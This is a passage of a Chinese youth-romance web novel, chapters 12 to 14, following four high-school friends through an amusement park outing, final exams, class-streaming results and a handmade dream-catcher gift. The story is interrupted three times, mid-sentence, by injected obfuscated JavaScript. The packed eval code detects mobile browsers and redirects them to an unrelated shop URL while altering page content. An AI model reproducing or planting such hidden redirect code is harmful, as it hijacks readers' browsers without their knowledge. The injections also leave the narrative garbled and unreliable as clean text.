“不太敢。”丁似霰也很果断。 许志没说话,不知道是在震惊还是在犹豫。 “好了,你没回答,你想玩,走了!”杨可期揪着许志的帽子,很愉快的抓走了一个用于平衡座椅的玩伴。 “不是,我没想!?”许志还应该不是太抗拒,至少他被杨可期抓走的时候,没有那么的抗拒。 “那你想玩点什么?”丁似霰问道。 “碰碰车想玩吗?”乔洛不太喜欢玩那些太刺激的项目,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她很勇猛地走了过去,拉着杨可期,一屁股坐在了球内。 “洛洛,变性了?主动来陪我玩这个了?”杨可期很惊喜,一点没犹豫的坐到了乔洛背面的位置上。 “我想开了,开滚吧。”乔洛颇有一种一心赴死的神态。 “我也试试!”丁似霰又来了。 他又来了。 他还坐在了乔洛旁边。 “那个,可期你能不能来这面坐着?”乔洛现在看着丁似霰就想把他嘴缝上,看到那个玩偶就更想了,虽然玩偶太小了没法固定,已经被工作人员放到了一旁的凳子上。 “姐姐,和我做一面不好吗?”他又开始了。 乔洛不想说话,她感觉很羞耻,甚至想把卫衣反过来穿,然后用帽子把脸蒙上。 “不行,这女孩子还是要分开坐的,不然太不均衡了。”工作人员打消了乔洛的想法。 “但是你们还得来一个人坐在这面。”工作人员指着杨可期旁边的空位。 丁似霰看了许志一眼,完全没有在乎他还没有从上一场翻滚中脱离出来的迷茫的眼神,“小志子,快去!” “啊?又是我?”许志感觉自己简直是今天这三个人的玩具。 他才是被玩的那个。 翻滚球启动之后乔洛就后悔了,怎么就这么想不开,来坐这个东西,那句话叫什么?花钱找罪受,就是她现在的行为。 她一直紧闭着眼,祈祷这个机器快点停下来。 “洛洛!” 她听到了丁似霰的声音,但是没有听清。 乔洛勉强睁开眼睛,稍稍向丁似霰那边转了点头,“你说什么?” “你,尾巴露出来了!” “我哪来的尾巴?” 她看到丁似霰指了指她的头发。 哦,丸子头散了。 刚在那边撞了十几分钟,现在又在这里滚,不散才怪。 “你才有尾巴!”此时,这个球体发生了一百八十度倒置,乔洛看到丁似霰的头发都立了起来,“丁似霰,你真的很像一只长毛乱晃的阿拉斯加!” “呜!爽!”背面传来了杨可期愉快的声音,今天她是真的玩开心了。 “我不太爽,啊!”许志原以为他已经麻木了,但还是被突然翻转带来的位置变化所震慑。 “不爽我可以再陪你玩一把哈哈哈哈哈哈哈!” “放过我吧姐姐!” “你别叫姐姐!”被叫的是杨可期,炸毛的却是乔洛。 她要对姐姐这两个字过敏了。 丁似霰,可恶! 12. 向后看 期末复习的时间过得很慢,乔洛感觉每天都有写不完的卷纸。虽然她也很少写,但是堆在那里就已经有很大的震慑力了。 看得出来杨可期确实很努力,乔洛的课间只要不是在睡觉或者是去厕所,永远会被杨可期霸占。 丁似霰和许志晚饭也很少打球,时不时会拿着卷纸跑上楼找乔洛,只是许志没有丁似霰那么频繁。 见过了乔洛数理化生四门的笔记之后,丁似霰和许志不禁感叹,学习好的人确实是有她自己的品质的。 当然,丁似霰肯定是存了很多其他的心思,题这种东西,问哪个同学不可以,还非要跑上三楼来找乔洛? 乔洛这四科都有很详细的笔记,笔记上会把知识点总结,并且数学和物理会有一些经典题型的解题思路。甚至在笔记的页脚,偶尔会有一些小插画和随笔的记录。 与其说是笔记,她这是个本子倒更像是工艺品,掺杂了许多乔洛个人情感的工艺品。 对于他们的惊讶,乔洛说了这些笔记的,算是来源吧。 乔洛上课的时候注意力不太集中,也就是说四十分钟的课她很有可能只会一半都不到的时间,作业也不是很喜欢写。但没有人是天才,不听课不做题还能打高分那是做梦。 所以她会整理笔记,自己认认真真把知识点整理好,做题的时候注意那些常见的题型然后把规律总结一下……当然,还是脑子比较好使,她确实是自己整理一遍就都能记住了,无论是数学公式、物理模型、化学反应又或是生物那些更偏向文字类的知识。 但确实,乔洛一直无比感谢大综合时代的落幕,她都不敢想如果政史地还是必考的话,她会有多痛苦。 自习课有一些同学会选择拿着笔和题在教室外面走廊的窗台上学习,便于偶尔讨论两句什么。这算是新材不成文的规定,老师并不会管,只是学生要有一些自觉,尽量少说话,说话声音也会尽可能压低。 距离第一次期末考试还有一天。 乔洛又被杨可期绑架到了十班外面的窗台上。 丁似霰颠颠的跑上来,非要和她们一起写题。 其实那三个人进步已经很大了。多数的大题都能写上个七七八八——毕竟高一上学期其实,也没多难。 乔洛站累了,索性直接贴着墙根坐到了对面的地上。她在做古诗文阅读的题,真的很难理解那些文绉绉的话,之乎者也,对于她来讲基本就是“要我命也”。 下课铃打响,乔洛长长叹了一口气,快点考试吧,这日子过得太难了,有凳子不能坐,出来坐拔凉的水泥地。 虽然她也垫了坐垫,不然真的会冻到跑厕所的。 “两位,晚上咱要不然喊上许志去吃饭呢?你俩已经很厉害了,再学就学魔怔了,别学了可以不?” “食堂多难吃,昨天还有人说去吃饭的时候那个菜汤都是凉的。”杨可期对食堂一点都没有欲望。 “你想去?”丁似霰放下了笔,转过身蹲了下来。 “我不想在教学楼里动脑子了,”乔洛掏出手机,看着她的美食联系表,“去食堂吃饭,又不是去吃食堂的饭,想吃什么现在就定呗,还来得及。” “啊,我想吃李师傅家米线了,张婶盖浇饭也不错,”丁似霰开始点菜。 他虽然说最近并没有在乔洛面前做什么异常行为,但她还是总想起来那几声姐姐,然后头皮发麻。 “嗯,都可以,反正都有电话,你问问许志他想吃什么,”乔洛扫了一下联系人,都有,她还真是添加了好多小店的电话,“可期,你呢?” “米线吧,天太冷了,吃点热乎的。”杨可期放下笔,搓搓手,一月的新柳真的很冷。 “回屋去,靠着暖气就不冷了,谁让你们俩非要出来的,”乔洛一想到这周她的座位正好靠着窗边,窗台下面就是一整扇暖气,却根本没有享受多久,就感觉太亏了。 虽然说走廊的窗台下也有暖气,但毕竟热量流失的更多,比教室里要冷上许多。 “许志说他都吃。”丁似霰给乔洛看了一下许志的信息。 不挑嘴的孩子最好养活了。 “那就定米线吧!”乔洛飞快的给米线店打了电话,确认四份米线可以在晚饭的时候送到校门口后,又选好了每份的荤菜,心满意足挂断电话。 乔洛喜欢桂花肠,杨可期要了火腿的,丁似霰是鱼丸,许志是肥牛。 还真是没有一个一样的。 “让许志下课的时候先冲去食堂占个座啊,”乔洛已经满脑子都是吃饭了,“虽然我估计这个时候去食堂的人也不会很多。” “高二高三又不会有分班考试。”丁似霰看了一下刚刚做好的数学卷,138,但愿考试也可以这样。 “所以你们俩紧张的分班,不是考试?”上次放假吃饭的时候也就是随口说了一下,这两个人怎么真这么在乎能不能分进重点班。 “嗯,我是被丁似霰说动了,进重点班跟你分一起的概率更大。”这半年是自幼儿园之后,杨可期第一次和乔洛在一个班级,和好闺蜜在一个班级诶,还可以一直做同桌,这日子神仙难求。 “我也是。” “你也想跟洛洛在一个班级呀?”杨可期明知故问。 “但我上次月考纯理排名81,这很恐怖。”丁似霰确实很烦恼,八十一,怎么就不能再靠前一点。 “这简单,我考八十开外就可以了。”乔洛提出了新的思路。 “不行!”俩人难得这么异口同声,乔洛的新提议遭到了杨可期和丁似霰的双重反对。 “双重否定表示肯定来着是吧,嘿嘿。”乔洛感觉偶尔逗逗他们,也挺好玩的。 “不想理你。”杨可期转过身去,换了一套化学卷。 “这个用法的前提好像应该至少是一个人说的同一句话,”丁似霰凑了过去,“你文言文做怎么样了?” 他看到了满篇的“叉”。 “三个选择题,正确率百分之零,我这辈子跟文言文不共戴天。”乔洛突然也没了生气,“其实我一直感觉文言文挺美的,但如果让我做题就一点都不美了。” “加油吧。”丁似霰对着乔洛比了一个握拳下拉的加油手势。文科他也无能为力,但他确实未曾想到过,乔洛的文言文竟然可以比他还差。 食堂二楼的一个靠窗的位置,向四周弥漫着不属于这片区域的浓郁的过桥米线的香气。 新柳的过桥米线并不是正宗云南过桥米线,而是整个东北地区基本统一的“正宗东北云南过桥米线”。 米线粗粗的,很有嚼劲,早年间还有传言说这东西是塑料做的。 里面的配菜都特别入味,干豆腐丝,豆芽,还有一些时应的青菜,和米线一起在汤里煮了很久,然后捞出来打包。 不过这四个人并没有任何心虚的感觉,毕竟在食堂吃什么,那得各凭本事。 许志和丁似霰对乔洛那碗加了不知道多少辣椒油的米线望而生畏,反倒是杨可期还会时不时去乔洛碗里夹点什么吃,然后斯哈斯哈半天都缓不过来。 丁似霰有发现乔洛喜欢吃辣,但确实不知道她这么能吃辣…… 他们看着乔洛面不改色地吃了一大半的配菜,还喝了不少汤,有些震惊。 “你,嗓子还好吗?”许志迟疑地问出了他的疑问。 “嗯,还可以。”乔洛的嘴唇比之前红了很多,怎么说也有点辣肿了,嗓音确实也稍微哑了一点,只是并不明显。 “但我不建议你尝试啊,会感觉烧胃。”乔洛看着丁似霰,提醒他不要做不合乎他能力范围的尝试。 杨可期又挑走了一些米线,然后盛了些满是红油的汤。 “我不敢试,我怕把我自己吃医院去。”丁似霰对自己也是很有自知之明的,他看着乔洛碗里基本只剩下了米线,“你不爱吃米线吗?” “不太喜欢这种口感,但是我喜欢里面的配菜,要是能把米线换成宽面条该有多好。” “我原来都是不吃辣的人,现在在我家像个异类一样,都是你带的。”杨可期吃饱了,满足地擦擦嘴。 “辣椒防癌,你得感谢我。”乔洛收拾好餐具,整个人靠在椅子上,没骨头似的,“晚上你们俩谁也别喊我出去,我要睡觉。” 倒也不一定要睡觉,她香包才做完两个半球,最近自习课总被这两个人抓出去,她只能偶尔上课偷偷做,再按照这个进度做下去,这学期结束都做不完。 “好吧,那小的一会就滚回十七班,安分守己。” 杨可期自然也是无所谓的,反正在班级里她也坐在乔洛身旁。 两天后,奉州市期末统考结束了。 学生们总会在考过试后激烈的讨论答案,初中自从乔洛连着考了两次全校第一后,很多同学会过来问乔洛,然后把她奉为正确答案。 她很讨厌这种感觉,为了避免这种情况发生,她直接一问三不知,不知道写的什么答案,忘记了。 要不然她的答案错了还有人偷偷说,乔洛怎么回事,这也能错。 这次也一样,她从考场出来什么,草稿纸上什么答案都没写。 晚饭时,那三个人都有点愁眉苦脸的。 “我,没欠你们仨钱吧?”乔洛塞进嘴里一口蘑菇,一边嚼着,一边看那三个人:“今天食堂这蘑菇怎么好像没洗干净,这么牙碜呢。” “说不定是秋天下大地捡的蘑菇,随便洗洗就晒干了现在拿出来做的,”丁似霰机械地嚼着白菜,他确实有点紧张,可能是太想考进前八十了。“到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908904|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在都不知道数学最后那个题答案应该是什么,那可是十多分啊。” “根号二减一到根号五加一,左闭右开。”这是乔洛第一次说答案,连一点犹豫都没有,好像很确定这个就是对的。 “我去,为啥我都是闭区间啊?”杨可期不知道该不该高兴,毕竟她只错了一半的区间。 “姐,那个点取不到,题干里单调递增的区间就有一个是开的。” “好吧,不过也可以了,估计也就扣两三分。”杨可期还是很满足的。 乔洛抱着有些期待的眼神看了一下对面的两个男孩,“怎么样?” “嘿嘿,反正结果是对的。”丁似霰喜欢这个结果,对错暂且不论,他和洛洛是一样的……当然,他相信洛洛的就是对的。 “对了一半,右端点我取成根号五减一了。不过也不错了,本来那种题也不在我的能力范围内。”许志感觉盘子里的饭突然好吃了,可能是心情加成吧。 “那物理倒数第二个加速度是多少?”杨可期继续问道,“还有你还记不记得那个摩擦力选的是啥方向?” “平行于斜面向上吧,记不太清了,加速度是三点七五。” “生成了多少摩尔氢气你还记得不?”丁似霰小心翼翼问了一句,他不太清楚乔洛还愿不愿意继续对这个答案。 “二点二,但是我写错了,忘记反应物是多少摩尔了。” “你写的多少?”杨可期倒是好奇。 “一点一。”乔洛也有点无语,怎么就又不看题。 “发现了怎么没改?”许志还不知道乔洛马马虎虎的样子,更没懂她怎么发现的。 “额,我快答完卷的时候姨妈来了,随便写写就去厕所换卫生巾了,然后就,你知道灵光乍现吧,我就突然反应过来题干上是两摩尔反应物,但是回去之后不让我写卷了…… 反正就两分一个小填空。” 两个男孩还是第一次听人这么直白地说例假的事情,不免有些尴尬。 “尴尬什么?有啥不能说的,你们谁家里没见过卫生巾?”乔洛丝毫不在意,这有什么,多正常的生理内容。 “嘿,我家还真没有,我跟我爷和我奶过,我奶七十了。”许志感觉乔洛说的对,但很遗憾,他确实十来年没见过他妈妈了。 不过之前聊天的时候乔洛和杨可期也多多少少知道一些他家的情况,不算惊讶。 丁似霰看起来有点疑惑,印象中女生来例假似乎,不会这么有活力,他开口问道,“那你……” “我不痛经。”乔洛好像猜到了他想说什么。 “天选之子你能懂吧,我都想把她血抽出来研究研究,特别是在我喝那些苦了吧唧的药的时候,就更想了。”杨可期也很羡慕,太遗憾了,这东西不能传染。 “你们监考这么严吗?我们考场也有人请假上厕所,回来之后也就正常继续答卷了。”许志的考场在三楼,他有的时候也在想,什么时候能有机会去四楼考个试呢。 不过没机会了,分班之后四楼是三个文科班级,他们四个谁都不能去四楼考试。 “可能四楼都是保护动物们,学校怕厕所里面有好东西吧。”乔洛也很,无语。 “那你还记得那个杂质是什么不?” “不记得了……”乔洛塞进嘴里一大块芹菜,嚼嚼嚼,“你们仨就别想了,考都考完了,对错也改不了。明天就郊联体的考试,赶紧考完赶紧结束。” “唉。”三声叹息过于一致。 “其实我以前考试也很焦虑,但后来想开了,”乔洛道。 丁似霰印象里,初一初二每次联考都会看到乔洛的名字榜上有名,只是最开始第一第二,后来在十几名,再后来是五十几名,但从初二期末考试开始,他再也没见过乔洛的名字。 “想开什么?你考得一直都挺不错的吧?”许志和丁似霰一样,并不知道乔洛的过往,只是感觉这是一个很厉害的小姑娘。 “我小学很一般的,还总是很马虎,然后分就不高,是题难了之后,我加减法算错或者题看错了,下一步做不下去,才能改过来,然后分数高起来了,”乔洛说道:“往前看前面永远有人,往后看的话就会发现后面人更多。那就做好自己的事情,比来比去烦得要命,尽力不后悔就行。” “不过你俩给我交个底,要是真感觉进不去前八十,我明天作文可就要开始胡说八道了。” “别,我感觉能。”杨可期突然来了信心,“我感觉我答得不错。” “应该吧……”丁似霰有一些迟疑,他又憧憬又害怕。如果又是八十一名的话……太恐怖了。 “哈哈哈,我感觉我答得也不错,说不定再走狗屎运当个八十名。”许志认为,人总还是要有理想的嘛…… 13. 过敏 郊联体考试的前一天晚上,乔洛回家后终于做好了香包的收尾工作,把所有的线头都处理好,用打火机一个一个烧圆,粘住。 她把捕梦网的上端加了一根四股圆辫编成的绳环,用的是宝蓝色和金色的线,看起来很是奢华。 真好看,便宜丁似霰这小子了。 她突然想到了晚饭的时候丁似霰忧愁焦虑的样子。 一个小分班考试而已,至于吗。 ——考完试给你个礼物,可以浅浅期待一下。 她还是编辑了条短信发给了丁似霰,本来是打算考完试给他的,不过提前说一下让他先开心开心也不错。她很确定,丁似霰会开心,没有什么理由的确定。 ——有没有考好都会有礼物吗? ——你有没有搞错,我又不是你妈,我是给你礼物不是给你奖励,跟你考没考好有几毛钱关系,送你的又不是送你的成绩的。 ——好嘞!谢谢洛洛! 他又叫她洛洛,这小子越叫越顺嘴了。 还好,不叫姐姐就好。 姐,和姐姐,以及姐姐~是有很大区别的。 嘶,一回想起那天丁似霰发贱的声音乔洛就感觉浑身发麻。 但很奇怪,她只是感觉羞耻,却并不讨厌。 怕不是跟这人混半年被他传染得脑子有问题了…… 乔洛把香包挂在她书架边缘的挂钩上,拿出手机照了几张照片。 小捕梦网,他一定会好好保存你的。 乔洛打开装香丸的盒子,拿出一颗闻了闻,这东西真的有用吗,她闻好几下了,也不困啊。 哦对,是安眠,不是催眠,又不是迷药,怎么会这么快就困。 人一旦忙起来就会弱化对时间流逝的感知,两天的考试很快就过去了。 学生们都在整理自己的物品,马上所有的班级都要重组了。 乔洛直接把政史地的书和练习册还有卷纸都扔进了废品箱子,回收卖钱去吧! 其他有用的教材早就被她蚂蚁搬家一样挪回了家,如今她是包里空空,无书一身轻。 很奇怪,这次有了一些惆怅的感觉,明明才半年时间,却感觉在这个班级,这个小窝过了好久,有点不想离开了。 她看着窗户外面马上就要被黑夜吞噬的天空,嗯,一点也不好看,灰蒙蒙的,连晚霞都没有。 “我有点不想离开十班了。”乔洛小声对杨可期说道,“好像已经过了好久这种安逸的日子。” 她喜欢趴在窗台上看外面,就在最后一排的这个角落里,不会被人注意也不会被人打扰。 “承认吧,洛洛,你是不想离开我对不对?”杨可期考试结束后异常的开心,尤其是发现这次考试她蒙对了两个数学选择三个语文选择之后,她更开心了。 “嗯,是的。”乔洛点了点头,她不太想去新的环境里,面对新的人际关系。 乔洛并不社恐,她甚至有很强的交际能力。 但她不喜欢人,不喜欢和人打交道。 “没事,我感觉我还能跟你一起进重点班,我现在非常有信心!” 乔洛也笑了起来,“那就好,进哪个班都行,跟你做同桌就行。” “你那个小东西,准备什么时候给丁似霰啊?” “一会吧,我做完了。”乔洛打开书包,给杨可期展示了一下这个做工过于精美的小玩意。 每个球体都可以打开,然后装上香丸。其他的流苏下还有很多装饰,羽毛,珠子,用金属线做的叶子。 “我突然感觉这是女孩子的东西,我给丁似霰的话,会不会……”乔洛在与丁似霰说完要送他礼物之后,就看这个东西越看越没底气。这东西太漂亮了,真的很像只有女孩子会喜欢的玩意。 “不会,他天天挂床头你信不信?”杨可期不是相信丁似霰会喜欢女孩子的东西,她是相信丁似霰喜欢所有乔洛的东西,“况且他要是敢不识好歹,我就陪你去废了他!” “嘿嘿,突然有点紧张。”乔洛收起了她的小礼物,抱着书包等班主任说放假。 就在张老师站在讲台上激情演讲的时候,丁似霰又出现在那个熟悉的地方——十班后门。 他们班老师怎么放得这么快? 乔洛悄悄瞄了一眼后门,丁似霰欢快地对着她招手,标准的阳光少年露齿笑。 确实好看。 乔洛又下意识看了一眼赵倩……她也在看后门。 好吧,爱美之心人皆有之,谁让丁似霰长得那么招摇呢。 张老师的演讲结束后,杨可期就飞快的把乔洛推到了门口,告诉她在校门口等她,然后就一溜烟跑掉了。 第一次感觉气氛有点尴尬。 “先,先出去吧。”乔洛走在前面,丁似霰紧紧跟在她身后。 北方一月中旬,太阳依旧落山很早,如今才五点多一些,天空中就已经换成一盏不算太亮的月亮和几颗零散的星星在上班。 女孩走得很慢。男孩就跟在她身后,似是很开心,虽然跟随者女孩的小步伐,但略显欢快。 “你加上赵倩好友之后,聊天了吗?”她突然有些好奇。 “没,她发了一句你好,我回了一句你好。” “没意思,还以为她会找你说话。” “我又不是和谁都聊天。” “哦。” 乔洛有些紧张地搓着羽绒服的一角,心里仍在纠结要不要把香包拿出来。 乔洛你怂什么?你的香包都不知道卖出去多少个了,有什么可怂的? 她在心里给自己打了打气,然后堆起满脸的笑容转过身去,拽着丁似霰走到甬路旁的空地。 “怎么啦?”丁似霰问道。 “别,别挡其他人的路。” “好。”丁似霰点点头。 乔洛打开书包,捏着香包,还是有点不敢拿出来。 “先说好,你要是不喜欢也不许说,我……我会没面子的。” “我喜欢,洛洛送的我都喜欢!”丁似霰脸上一直堆满了笑容,如今看来只比刚才更甚。 “我去!”丁似霰看见捕梦网后发出了一声惊呼,“这也太漂亮了!你自己做的?” 乔洛看着丁似霰的反应,很是满意,又有点傲娇,“对呀,还是我自己设计的呢。” “洛洛你也太厉害了!”丁似霰感觉有点难以置信,“这,是给我的?” “嗯。” “真,真的啊!” “你,喜欢?” “喜欢,太喜欢了!”洛洛送了他自己亲手做的捕梦网,亲手诶! “这个,把底下的平结推开,然后就可以打开,球里面可以放香丸,”乔洛给丁似霰演示了一下怎么把香包打开,然后又拿出了从杨可期家药铺搜刮来的香丸,“这个是香丸,说是有催眠的作用。” “啊呸,不是不是,是安神助眠。”乔洛还是有一些紧张,语言系统多少混乱了一些。 丁似霰看着乔洛手指上已经绑着的创可贴,恍然大悟,“你手指是做这个磨伤了吗?” 乔洛想在期末考试后可以立刻给他,前些天做得急了一些,确实把手指磨出了两个小水泡。 所以这次她没有拆开创可贴,也没有否认,她的手指确实破了。 “我就是很喜欢弄这些东西,习惯了,过几天就好。” “那你每次做,手都会伤到吗?” “差不多吧,玩几天,做一些成品然后我就停手,稍微恢复一段时间,褪一小层皮,什么时候想玩了就再弄。我的那些香包在杨可期她家药铺销路很好的,基本只要上货,不出一周就卖空了。” “所以你就一直让它反复摩擦,破皮,再愈合?”丁似霰凑近了些看着乔洛的手,编织,真是一项恐怖的爱好。 “可以说就是这样吧,但因为我不会持续做,所以也没有茧子,”她举起手,看了看,“而且你不感觉带着创可贴,看起来我这个手更好看了吗?” 羽绒服的袖子有些长,盖住了她小半个手掌。 女孩的手在白色的路灯下显得更加白皙,骨节没有很明显,但是手指修长匀称。 为了写字的时候更舒服,她右手的指甲修得很短,左手稍稍留了一些长度。她的指甲长得很漂亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908905|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一个都是饱满圆润的长方形,甚至还能看到指甲底部的月牙。 中指的创可贴,正好遮住了因为长期写字造成的有些突出的茧子,确实显得手指更加细长。而创可贴的存在,确实某种程度上来讲,会增加一些让人怜爱的想象。 “都好看,什么时候都好看。”丁似霰好像一直以来从未吝啬过他对乔洛的赞美,各方各面都是,他是真的感觉洛洛哪里都好。 乔洛还是第一次这样近距离的和丁似霰四目相对。 不怪姑娘们对他另眼相看,这张脸着实配得上一句由衷的感叹,乔洛脑子里突然出现一个声音:老丁家那孩子长得可俊了! 乔洛感觉,大概是因为一旁的路灯,丁似霰眼睛看起来亮亮的。 像小狗,像一条正在疯狂摇尾巴撒欢的小狗,甚至比小臭白看起来更可爱些。 “嗯,很好,丁似霰同学你很有眼光!” “谢谢洛洛姐姐!” “哎呀你别,别叫姐姐,太奇怪了!”乔洛一时慌乱,直接伸手捂住了丁似霰的嘴。 男孩的嘴唇,在她手心轻轻动了动。 有些干,痒痒的。 说话时呼出的气又有些热,扑在乔洛手心,又有些潮潮的。 “姐姐要把我闷死吗?” 乔洛不止捂住了他的嘴,还有鼻子…… 她飞快收回手,“没,没有。” “走了!”乔洛果断地转过身去,小碎步快速走回甬道上。 “好嘞!”丁似霰跟在她身后,一直笑眯眯的看着她。 他也是上次一时兴起,才发现逗乔洛这么好玩。 “姐姐慢点走,我跟不上。” “你赶紧闭嘴吧,那么长个腿你能走我二倍速。” “嘿嘿……” 校门口,许志和杨可期已经无聊到训练小狗握手了。 小花很聪明,只教了两次就偶尔会听从“握手”这个指令了。臭白……可能小男狗有一些反骨,他大概也是听懂了,只不过杨可期说握手他就对着许志举爪子,许志说握手他就对杨可期举爪子。 果然从小到大都听说男生更淘气一些。 “姐姐再见~”在校门口分开时,丁似霰又喊了乔洛一声姐姐。 “别说了,求求你了,我要脸,我不想被人挂墙上吐槽。”乔洛双手合十对着丁似霰语速飞快地说完这句话,拽着杨可期就跑掉了。 “我从来没想过你还能是如此厚颜无耻之徒。”许志对于丁似霰的行为很是无语。 丁似霰看着乔洛落荒而逃的身影,又回想起刚刚她捂住他嘴的感觉…… 乔洛的手不是很小,一只手就捂住了丁似霰下半张脸。 北方的冬天很干,她应该是涂了护手霜的,有很浓的香气,是隆力奇的蛇油护手霜,太质朴了,丁似霰妈妈也一直在用这个。 手指上绑着的创可贴蹭在脸上有一些摩擦感,酥酥麻麻的…… 丁似霰被许志重重拍了一下脑袋,“喂!傻笑什么呢,人都走没影了!” 他回过神来,把手搭在许志肩上,有些语重心长地说道,“唉,你不懂。” 云锦书和杨可期的妈妈杨若竹在校门口接到她们后,就一起去吃了烤肉。 乔洛一路上都在小幅度地挠着手心。 夜幕下女孩泛红的脸颊被隐藏住了,直到走进烤肉店才显露出来。虽然这个时候她脸上的潮红已经褪下去了很多。 杨可期挂好外套,扭头正好看到了乔洛,“洛洛你脸怎么这么红?” “……风大,刚才吹的。” “哦,那你以后戴个围巾呗,像我这个一样,你看我就不感觉吹脸。” “你不对劲,”杨可期凑到乔洛耳边,小声道,“那你一直挠手心干什么?” “……” “我过敏。”她可能真过敏,总感觉手心痒痒的。 对,就是过敏,丁似霰,有毒! 新柳的冬天很冷,雪封万里,霜挂枝头。 却有一些奇怪的情感在这严寒中慢慢生长。 或许吧,是青春在生根发芽。 14. 定制 这次判卷出奇地迅速,不过三天,新材高中就公布了最终的大榜,发在了原班级的Q/Q群里。 最后的分班结果还没有定,通知说周五返校的时候,会把分班名单张贴在教学楼外。 丁似霰点开成绩榜单,从八十开始向上查找,他后来才发现,当时他握着鼠标的手都是抖的。 六十八名,丁似霰。 丁似霰对着屏幕止不住地傻笑着,他妈妈余美兰进门问他中午吃什么的时候正好看到了这一幕,差点以为自己儿子疯掉了。 但是很快,他就笑不出来了。 六十七名,杨可期。 两个重点班是平行分班,也就是说,丁似霰和杨可期,一定会分在不同的班级。 只有一个,会和乔洛在一个班级。 只有一个! 他继续向上翻找着。 三十六名,乔洛。 还是洛洛厉害,这么松弛地度过期末,依旧名列前茅。 他打开了和乔洛的聊天对话框,想说些什么。 真的像杨可期说的那样,放假这三天以来,乔洛没有找他说过一句话,目前为止他们的Q/Q对话框还停留在乔洛一句“我们已成功添加为好友,现在可以开始聊天啦~”,然后丁似霰的歪头小狗打招呼表情包,以及乔洛礼貌性回了一个企鹅点赞的表情包。 ——在做什么呢? 不行,洛洛说过她最讨厌别人问“在吗”,删掉。 ——恭喜呀,名列前茅的洛洛同学。 太刻意了,删掉。 ——后天要不要一起去看分班安排? 不对,她现在应该在担心会不会和杨可期分到一起,估计不想聊这方面的话题,删掉。 该说些什么呢? 丁似霰对着电脑屏幕发呆,却不知道该打下什么字。 他突然在想,希望乔洛和杨可期会分到一个班级。 似乎洛洛会更开心一些。 至于他,四五班都在三楼,只隔了一道墙;四五班一起上体育课;四五班间操升旗的队列都是相邻的。 也不错。 手机响了,是许志的电话。 “诶,丁似霰,你看榜没有,你猜猜我考了多少!”许志的声音很兴奋,应该是考得很不错。 丁似霰连忙重新打开榜单,从八十开始向下翻着。 八十五名,许志。 “我去,你小子可以啊,这保准是平行班一号了!” “我还从来没当过一号,哈哈哈哈哈哈哈,真多亏你们仨了,我奶说让我请你们吃饭……” 丁似霰根本没听到许志后来说了什么。 他看到信息栏弹出了新消息。 洛洛! 天,洛洛给他发消息了! ——呱唧呱唧[鼓掌.jpg],我就说你会考好的吧。 ——后天返校之后去吃饭不,学校南门外面前段时间新开了一家手工粉,我早就看到宣传单了,一直没机会吃。 还是两条消息! “喂?你听没听到?”许志见丁似霰半天没有回话,还以为他出了什么问题。 “吃,返校出来去吃手工粉!”丁似霰现在脑子里可能只有手工粉了。 “啊?什么手工粉?手工粉是啥?”许志刚才说的明明是烧烤。 “我不知道啊,洛洛说想去吃,南门外面新开的。” “洛洛,洛洛,你脑子里除了乔洛你还能装点什么?”许志记得丁似霰初中的时候不是这样,那时候对乔洛顶多是崇拜,也没过多关注过她,怎么现在就好像把脑子重组了一样。 许志此时也看到了Q/Q弹出来的新消息,来自乔洛。 “丁似霰,我跟你说,乔洛也给我发消息了,还是两条哈哈哈哈哈!” 是嘲笑,绝对是嘲笑,许志甚至还没有点开对话框看看乔洛发的具体是什么,但至少丁似霰这么激动,却不是单给他一个人发的。 丁似霰突然蔫掉了一小下,不用问,那她肯定也给杨可期发了。 “洛洛给你发的什么?”丁似霰还抱着一丝希望,不是群发就好。 群发也好,至少是洛洛主动给他发的。 “叫义父!”男生总是喜欢找到机会就给对方当爹,莫名其妙。 “滚!” “好了好了,给你发过去了。”许志也没有太吊着丁似霰的胃口,皮一句之后,就给他转发了消息。 ——恭喜啊,如愿以偿当上平行班老大了! ——后天返校之后去吃饭不,学校南门外面前段时间新开了一家手工粉,我早就看到宣传单了,一直没机会吃。 看来第一句是量身定制,第二句是复制粘贴。 “你快回复她,放学就去吃。” “我就不。”其实许志在说话的时候就已经在回复乔洛了,但是对丁似霰这个贱一定要犯一下。 ——好啊!我也看上那家了,封面那个蘸进汤里面的鸡排一看就香[流口水.jpg] “我听到打字声了。” “好好好,您老人家耳朵真好使,快点去跟你们家洛洛聊天吧,我挂了!” 丁似霰在对话框里刚刚打下“还得多谢洛洛老师两周以来的悉心教导”,还没来得及发送,乔洛又发过来了一条消息。 ——也可以去吃别的,你有什么想法吗? 他连忙把编辑好的发送了过去,然后又加了一句。 ——我也想吃这个,我看他家还有炸鲜奶,看起来也不错。 那家店其实是元旦就开业了,他们都有见过店家的宣传单,只是后来一直没去尝。 乔洛回消息很快,大概是一直守在电脑前。 ——好滴,后天见。 唉,好简短的聊天。 不过,是个好的开始。 “小光,出来吃饭了!”余美兰的声音是和菜香味一起从厨房传出来的。 他飞快地回了一个“OK”的表情,就关掉电脑,跑出了卧室。 